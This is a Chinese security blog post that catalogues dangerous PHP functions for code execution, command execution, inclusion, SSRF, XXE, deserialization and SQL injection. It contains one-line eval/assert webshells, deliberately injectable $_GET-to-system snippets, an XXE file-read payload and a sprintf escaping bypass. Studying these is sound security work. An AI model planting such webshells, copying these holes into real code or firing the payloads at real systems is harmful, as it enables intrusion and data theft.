php常见的危险函数
<h2 id="代码执行的危险函数">代码执行的危险函数</h2><ul>
<li>eval() 把字符串作为php代码执行</li>
</ul>
<p>早期php一句话木马都用这个</p>
<p><code><?php @eval($_POST['shell']);?></code></p>
<ul>
<li>assert() 检查一个断言是否为<code>false</code>,将字符串作为php代码执行</li>
</ul>
<p>同样经常被用作一句话木马</p>
<p><code><?php assert(@$_POST['shell']); ?></code></p>
<ul>
<li>preg_replace() 执行正则表达式的搜索和替换</li>
</ul>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310192425.png" alt="" loading="lazy"><br>
当匹配模式<code>/e</code>时,该函数会将<code>$replacement</code>作为php代码执行</p>
<p><code>preg_replace("/test/e",$_GET["shell"],"just test");</code><br>
<img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310192718.png" alt="" loading="lazy"></p>
<ul>
<li>create_function() 创建一个匿名函数</li>
</ul>
<p>跟python的lambda语句类似,在php7.2.0后被废弃<br>
<img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310193030.png" alt="" loading="lazy"></p>
<pre><code class="language-php">$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310193314.png" alt="" loading="lazy"></p>
<ul>
<li>array_map() 为数组的每个元素应用回调函数</li>
</ul>
<p>array_map()函数将用户自定义的函数作用到数组中的每个值上,并返回用户自定义函数作用后带有新值的数组,这里相当于一种动态调用</p>
<pre><code class="language-php"><?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array=$cmd;
$new_array=array_map($func,$array);
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310194224.png" alt="" loading="lazy"></p>
<ul>
<li>call_user_func() 把第一个参数作为回调函数调用,其他参数是回调函数的参数</li>
</ul>
<pre><code class="language-php"><?php
@call_user_func("assert",$_GET['cmd']);
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310194550.png" alt="" loading="lazy"></p>
<ul>
<li>call_user_func_array() 调用回调函数,并将第一个数组参数作为回调函数参数</li>
</ul>
<pre><code class="language-php"><?php
$cmd=$_GET['cmd'];
$array=$cmd;
@call_user_func_array("assert",$array);
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310194829.png" alt="" loading="lazy"></p>
<ul>
<li>array_filter() 使用回调函数过滤数组的元素</li>
</ul>
<p>依次将数组中的每个值传递到<code>callback</code>函数,如果<code>callback</code>函数返回<code>true</code>,则数组的当前值会被包含在返回的结果数组中,数组的键名保留不变</p>
<pre><code class="language-php"><?php
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310195216.png" alt="" loading="lazy"></p>
<h2 id="命令执行的危险函数">命令执行的危险函数</h2>
<ul>
<li>system() 执行外部程序,并显示输出</li>
</ul>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310195355.png" alt="" loading="lazy"></p>
<pre><code class="language-php"><?php
system($_GET['cmd']);
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310195435.png" alt="" loading="lazy"></p>
<ul>
<li>exec() 执行外部程序</li>
</ul>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310195543.png" alt="" loading="lazy"></p>
<pre><code class="language-php"><?php
echo exec("whoami");
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310195624.png" alt="" loading="lazy"></p>
<ul>
<li>shell_exec() 通过shell环境执行命令,并将完整的输出以字符串的方式返回</li>
</ul>
<pre><code class="language-php"><?php
echo shell_exec("whoami");
?>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220310195851.png" alt="" loading="lazy"></p>
<ul>
<li>passthru() 执行外部程序并且显示原始输出</li>
</ul>
<pre><code class="language-php"><?php
passthru("whoami");
?>
</code></pre>
<ul>
<li>proc_open() 执行一个命令,并且打开用来输入/输出的文件指针</li>
<li>pcntl_exec() 在当前进程空间执行指定程序</li>
<li>popen() 打开进程文件指针</li>
<li>反引号,实质上还是调用的<code>shell_exec()</code>函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flag</li>
</ul>
<h2 id="文件包含的危险函数">文件包含的危险函数</h2>
<p>php中包含的函数一共有四个,主要作用为包含并运行指定文件</p>
<ul>
<li>require() 函数</li>
<li>inclue() 函数</li>
<li>require_once() 函数</li>
<li>include_once() 函数</li>
</ul>
<p><code>include()</code>与<code>require_once()</code>主要的区别是:<code>include()</code>在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而<code>require()</code>函数出现错误时,会直接报错并退出程序的执行</p>
<p><code>require_once()</code>和<code>include_once()</code>,显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题</p>
<p>文件包含还分为了本地文件包含和远程文件包含,这里就不再进行赘述</p>
<p>当被包含文件可控的情况下,我们可以包含任意文件,从而达到GetShell的目的,也可以使用filter伪协议读取文件内容,关于php伪协议会在后面的文章进行介绍</p>
<h2 id="ssrf的危险函数">SSRF的危险函数</h2>
<ul>
<li>file_get_contents()</li>
<li>fsockopen()</li>
<li>curl_exec()</li>
<li>fopen()</li>
<li>readfile()</li>
<li>...<br>
函数使用不当会造成SSRF漏洞</li>
</ul>
<p>利用的相关协议:</p>
<ul>
<li>file协议: 在有回显的情况下,利用file协议可以读取任意的内容</li>
<li>dict协议: 泄露安装软件版本信息,查看端口,操作内网redis服务等</li>
<li>gopher协议: gopher支持发出GET,POST请求,可以通过抓包然后构造成gopher协议的请求</li>
<li>http/s: 探测内网主机存活</li>
</ul>
<p>一个简单的<code>file_get_contents()</code>案例</p>
<pre><code class="language-php"><?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
</code></pre>
<p>直接在本地环境上测试了,使用file协议读一下<code>system.ini</code>文件<br>
<img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220311003419.png" alt="" loading="lazy"></p>
<h2 id="xxe的危险函数">XXE的危险函数</h2>
<p>XXE指XML外部实体注入</p>
<p>当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害</p>
<p>这类漏洞可以根据危险函数逆推回去,危险函数有:</p>
<ul>
<li>simplexml_load_string() 转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素</li>
<li>asXML()</li>
<li>simplexml_load_file()</li>
<li>simplexml_import_dom()</li>
<li>...</li>
</ul>
<p>本地搭建一个存在XXE的环境</p>
<pre><code class="language-php"><?php
error_reporting(0); //禁用外部实体注入 设置为false 相当于不禁用
libxml_disable_entity_loader (false);
//php://input ===> post请求体的内容
$xmlfile = file_get_contents('php://input');
//exit(-1);
//创建一个DOMDocument类型的对象
$dom = new DOMDocument();
//loadXML 从字符串中读取,生成一个DOMDocument类型的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//var_dump($dom);
//exit(-1);
//把一个DOMDocument类型的对象转发成一个simpleXML类型的对象
$creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印
echo $creds;
?>
</code></pre>
<p>payload为</p>
<pre><code class="language-xml"><?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM
"php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]>
<creds>&goodies;</creds>
</code></pre>
<p><img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220311123228.png" alt="" loading="lazy"></p>
<p>成功读取base64加密后的<code>system.ini</code>文件内容</p>
<p>php防御手段:</p>
<blockquote>
<p>设置<code>libxml_disable_entity_loader</code>=TRUE来禁用外部实体</p>
</blockquote>
<h2 id="文件操作相关函数">文件操作相关函数</h2>
<p>文件操作无外乎<code>增删改查</code>,在不同场景下利用手法不同</p>
<ul>
<li>增,改 : 写入shell相关的内容</li>
<li>删 : 删除.lock文件导致CMS重新安装</li>
<li>查 读取配置等文件,拿到敏感信息</li>
<li>...</li>
</ul>
<p>文件操作的函数有很多:</p>
<ul>
<li>unlink() 传入文件名删除文件</li>
<li>copy() 复制文件</li>
<li>highlight_file() 对php文件语法高亮显示</li>
<li>show_source() highlight_file的别名</li>
<li>file_get_contents()</li>
<li>fopen()</li>
<li>parse_ini_file()</li>
<li>readfile()</li>
<li>fread()</li>
<li>...</li>
</ul>
<h2 id="敏感信息的危险函数">敏感信息的危险函数</h2>
<ul>
<li>phpinfo() 输出关于php配置的信息</li>
<li>getenv() 获取一个环境变量的值</li>
<li>get_current_user() 获取当前php脚本所有者的名称</li>
<li>getlastmod() 获取页面最后修改的时间</li>
<li>ini_get() 获取一个配置选项的值</li>
<li>glob() 寻找与模式匹配的文件路径</li>
</ul>
<h2 id="反序列化危险函数">反序列化危险函数</h2>
<ul>
<li>序列化函数<code>serialize()</code></li>
<li>反序列化函数 <code>unserialize()</code></li>
<li>php十六个魔术方法,魔术方法命名是以符号__开头的
<ul>
<li><code>__construct()</code> 类的构造函数</li>
<li><code>__destruct()</code> 类的析构函数</li>
<li><code>__call()</code> 在对象中调用一个不可访问方法时调用</li>
<li><code>__callStatic()</code> 用静态方式中调用一个不可访问方法时调用</li>
<li><code>__get()</code> 获得一个类的成员变量时调用</li>
<li><code>__set()</code>设置一个类的成员变量时调用</li>
<li><code>__isset()</code> 当对不可访问属性调用isset()或empty()时调用</li>
<li><code>__unset()</code> 当对不可访问属性调用unset()时被调用。</li>
<li><code>__sleep()</code> 执行serialize()时,先会调用这个函数</li>
<li><code>__wakeup()</code> 执行unserialize()时,先会调用这个函数</li>
<li><code>__toString()</code> 类被当成字符串时的回应方法</li>
<li><code>__invoke()</code> 调用函数的方式调用一个对象时的回应方法</li>
<li><code>__set_state()</code> 调用var_export()导出类时,此静态方法会被调用。</li>
<li><code>__clone()</code> 当对象复制完成时调用</li>
<li><code>__autoload()</code> 尝试加载未定义的类</li>
<li><code>__debugInfo()</code> 打印所需调试信息</li>
</ul>
</li>
</ul>
<p>关于如何利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法方法。</p>
<p><code>unserialize</code>的参数用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等</p>
<h2 id="sql注入的危险函数">SQL注入的危险函数</h2>
<ul>
<li>mysql_query() 发送一条MySQL查询</li>
<li>mysql_connect() 打开一个到MySQL服务器的链接</li>
<li>sprintf() 将格式化的字符串写入变量中</li>
</ul>
<p><code>sprintf(format,arg1,arg2,arg++)</code></p>
<p><code>arg1</code>、<code>arg2</code>、<code>arg++</code> 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。</p>
<p>注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。</p>
<p>可以利用sprintf()绕过一些过滤字符的函数,例如在如下场景中</p>
<pre><code class="language-php"><?php
error_reporting(0);
$name = $_GET['name'];
$name = mysql_escape_string(stripslashes($name));
$sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s"));
echo $sql;
?>
</code></pre>
<p>我们的单引号被过滤了<br>
<img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220311124114.png" alt="" loading="lazy"></p>
<p>可以利用<code>sprintf()</code>的特性吃掉<code>\</code><br>
<img src="https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220311134722.png" alt="" loading="lazy"></p>
<ul>
<li>urldecode() 解码已编码的URL字符串</li>
<li>rawurldecode() 对已编码的URL字符串进行解码</li>
<li>is_numeric() 判断传入参数是否为字符串</li>
</ul>
<p><code>is_numeric()</code>函数存在插入十六进制字符串到数据库,进而导致SQL二次注入的风险</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li>https://www.freebuf.com/articles/web/269184.html</li>
<li>https://www.cnblogs.com/xiaozi/p/7834367.html</li>
<li>https://www.cnblogs.com/xiaozi/p/7831529.html</li>
<li>https://www.freebuf.com/articles/web/182280.html</li>
<li>https://segmentfault.com/a/1190000007250604</li>
<li>https://xz.aliyun.com/t/7405</li>
<li>https://www.erikten.cn/posts/dcd7a0ad.html</li>
<li>https://xz.aliyun.com/t/5877</li>
<li>https://blog.csdn.net/qq1124794084/article/details/104802553</li>
<li>https://www.freebuf.com/column/231352.html</li>
</ul>
<h2 id="end">END</h2>
<p>建了一个微信的安全交流群,欢迎添加我微信备注<code>进群</code>,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃</p>
<div>
<img alt="GIF" src="https://springbird.oss-cn-beijing.aliyuncs.com/img/mmqrcode1632325540724.png" width="280px">
<img alt="GIF" src="https://springbird.oss-cn-beijing.aliyuncs.com/img/qrcode_for_gh_cead8e1080d6_344.jpg" width="280px">
</div><br><br>
来源:https://www.cnblogs.com/Cl0ud/p/15993425.html
頁:
[1]